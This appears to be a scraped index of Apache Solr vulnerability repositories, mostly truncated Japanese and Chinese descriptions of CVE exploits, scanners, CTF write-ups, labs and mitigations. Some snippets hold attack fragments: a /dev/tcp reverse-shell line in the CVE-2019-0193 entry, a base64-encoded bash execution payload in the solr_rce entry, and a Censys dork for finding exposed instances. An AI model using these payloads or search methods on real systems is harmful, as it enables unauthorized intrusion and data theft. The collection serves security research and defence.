CVE-2026-44825-Apache-Solr-Scanner

CVE-2026-44825 Apache Solr スキャナー このリポジトリには、CVE-2026-44825（Velocity Template リモートコード実行（RCE）条件に関連）の影響を受ける可能性のある Apache Solr インスタンスを検出およびテストするための Go ベースのスキャナーが含まれています。 このツールは、単一のターゲットまたはターゲットのリストをスキャンし、Solr エンドポイントを検出し、認証チェックを試行し、オプションでエクスプロイトまたは対話型 RCE ワークフローモードを実行できます。 このプロジェクトについて...

cve-2019-17558-apache-solr-rce

Apache Solr RCE CVE-2019-17558 - CTF 报告 在 Apache Solr 中对 Velocity 模板注入漏洞进行实际利用，从自动化工具（Metasploit）的一个缺陷演进到成功的手动利用。 本报告记录了该练习的完整推理过程，重点在于诊断工具失败的原因并转向手动利用。 场景 项目| 描述 ---|--- 目标| 运行 Apache Solr 的 Linux 服务器，端口 8983 目的| 读取敏感文件（/home/favoritebook.txt）的内容 漏洞| CVE-2019-17558（通过 Velocity Response Writer 实现...

CVE-2020-13957

Apache Solr RCE CVE-2020-13957 Docker デモ Mac デモ NVD CVE-2020-13957 の説明 NVD CVE-2020-13957 Apache Solr versions 6.6.0 to 6.6.6, 7.0.0 to 7.7.3 and 8.0.0 to 8.6.2 prevents some features considered dangerous which could be used for remote code execution to be configured in a ConfigSet that's uploade...

CVE-2019-0193-exp

CVE-2019-0193-exp 1 &/dev/tcp/127.0.0.1/9999 0&1"; var result = ; whiletrue var oneline = bufReader.readLine; result.push oneline ; if!oneline break; row.put"title",result.join"\n\r"; return row; 2.jdbc: &/dev/tcp/127.0.0.1/9999 0&1"; entity name="a" url="https://stackoverflow.com/feeds/tag/solr"...

CVE-2019-17558_Solr_Vul_Tool

Solr Velocity テンプレートインジェクション脆弱性検出ツール ツール紹介 2019年10月末にSolr Velocityテンプレートインジェクションのリモートコマンド実行脆弱性が公表されました。手動でこの脆弱性を検出するにはburpでパケットをキャプチャして改変する作業を何度も繰り返す必要があり、効率が低いため、この小ツールを作成しました。ワンクリックでの脆弱性検出、コマンド実行、リバースシェルをサポートしています。issue歓迎です。本ツールはセキュリティ従事者が法令で認められた範囲内でのみ使用できます。違反して使用した場合の結果は自己責任となります。 実行環境...

Solr-GRAB

Solr-GRAB Apache Solr インスタンスのクエリを、ユーザー名とパスワードの有無にかかわらず収集します。 免責事項 : このプロジェクトは、許可されたテストおよび教育目的にのみ使用すべきです。 ダウンロード git clone https://github.com/GnosticPlayers/Solr-GRAB 使用方法 Censys を使用して、dork "Welcome To Solr" または "Apache Solr Admin" で Apache Solr インスタンスを検索できます。クエリを取得するには、HTTP アクセスポイントにアクセスするだけです。ポー...

Apache-Solr-RCE_CVE-2023-50386_POC

Apache-Solr-RCECVE-2023-50386POC Apache Solr Backup/Restore APIs RCE Poc CVE-2023-50386 参考（先輩方に敬意を表して）： CVE-2023-50386 脆弱性の作者ブログ Java Security Manager バイパス手法 JDK 17 でのリフレクション制限のバイパス JNI による Rasp 回避 脆弱性の利用原理と考察：https://mp.weixin.qq.com/s/mO4e8aiuL56yBdOD4jy2qQ poc は Pocsuite3...

CVE-2021-27905

CVE-2021-27905 Apache Solr ReplicationHandler サーバーサイドリクエストフォージェリ SSRF Hit Counter Apache Solr（Searching On Lucene with Replicationの略）は、Apache Luceneライブラリをベースにしたフリーのオープンソース検索エンジンです。Javaで記述されています。Apache Solrは、RESTful XML/HTTPおよびJSON...

CVE-2019-0192

CVE-2019-0192 - Apache Solr RCE 5.0.0 から 5.5.5 および 6.0.0 から 6.6.5 Apache Solr RCE の初期の PoC です https://issues.apache.org/jira/browse/SOLR-13301 より: ConfigAPI は、HTTP POST リクエストを介して Solr の JMX サーバーを設定できます。 これを悪意のある RMI サーバーに向けることで、攻撃者は Solr の安全でない逆シリアライゼーションを悪用して、 Solr 側でリモートコード実行を引き起こす可能性があります。 概念実...

Solr_CVE-2019-17558

SolrCVE-2019-17558 使い方: python3 SolrCVE-2019-17558.py url whoami...

solr_rce

Apache Solr RCE via Velocity template python の使い方: python solrrce.py http://x.x.x.x:8983 command getshell エンコードペイロード http://www.jackson-t.ca/runtime-exec-payloads.html whoami bash -c echo,d2hvYW1p|base64,-d|bash,-i 0x01 Solr 概要 Solr は Apache Lucene プロジェクトのオープンソースエンタープライズ検索プラットフォームです。...

Sitecore.Solr-log4j-mitigation

Sitecore.Solr-log4j-mitigation CVE-2021-44228 このリポジトリには、https://solr.apache.org/security.htmlapache-solr-affected-by-apache-log4j-cve-2021-44228 に記載されているアドバイスを適用して CVE-2021-44228 を緩和するために、Windows マシン上で実行できるスクリプトが含まれています。 このPowerShellスクリプトは、Sitecore Install...

homelab-CVE-2021-44228

Homelab: Log4Shell CVE-2021-44228 in Apache Solr Docker による管理環境で、Apache Solr における Log4Shell 脆弱性の再現と学習を行います。 環境 ターゲット solr-lab: Apache Solr v8.11.0 vulhub/solr:8.11.0 で、脆弱性のある Log4j バージョンが実行されています。 攻撃者 kali-lab: nmap、curl、netcat がプリインストールされた基本的な Kali Linux コンテナ。 ラボの起動方法 1. コンテナの起動...

Apache Solr - Host Environment Variables Leak via Metrics API

Exposure of Sensitive Information to an Unauthorized Actor Vulnerability in Apache Solr. The Solr Metrics API publishes all unprotected environment variables available to each Apache Solr instance. Users can specify which environment variables to hide, however, the default list is designed to wor...

Apache OFBiz < 18.12.07 - Local File Inclusion

Arbitrary file reading vulnerability in Apache Software Foundation Apache OFBiz when using the Solr plugin. This is a pre-authentication attack. This issue affects Apache OFBiz: before 18.12.07. id: CVE-2022-47501 info: name: Apache OFBiz 18.12.07 - Local File Inclusion author: your3cho severity:...

XWiki < 4.10.15 - Information Disclosure

The Solr-based search suggestion provider that also duplicates as generic JavaScript API for search results in XWiki exposes the content of all documents of all wikis to anybody who has access to it, by default it is public. This exposes all information stored in the wiki but not some protected...

Apache Solr 9.4.0-9.10.1 / 10.0.0 - Hardcoded Default Credentials

Apache Solr 9.4.0 through 9.10.1 and 10.0.0 contain a hardcoded credentials vulnerability caused by default Basic Authentication template users in bin/solr auth enable, letting remote attackers gain full administrative access. Exploit requires use of default template users. id: CVE-2026-44825 inf...

Apache-Solr-RCE-via-Velocity-template

Apache-Solr-RCE-via-Velocity-template 参考リンク 脆弱性の発生原因： 1. 攻撃者がSolrコンソールに直接アクセスできる場合、/ノード名/config のようなPOSTリクエストを送信することで、そのノードの設定ファイルを変更できます。 2. Apache...

Apache-Solr-Arbitrary-File-Read

Apache Solr 任意ファイル読み取り Hit Counter Apache Solr（Searching On Lucene with Replication の略）は、Apache Lucene ライブラリに基づく無料のオープンソース検索エンジンです。Java で書かれています。Apache Solr は RESTful XML/HTTP および JSON API と、Java、Phyton、Ruby、C、PHP...

CVE-2021-27905

CVE-2021-27905 番号| タイトル ---|--- 1| 概要 2| 根本原因 3| 概念実証 4| 緩和策 8.8.2+ 5| 参考 教育および研究目的のみに使用してください。所有していない、またはテストする明示的な許可がないシステムでこのコードを使用しないでください。誤用について私は一切責任を負いません。 概要 これはApache Solr （/replication?command=fetchindex&masterUrl=http:// Solr の ReplicationHandler は次のことを行います。 1. リクエストを受け付ける。 2. 指定された...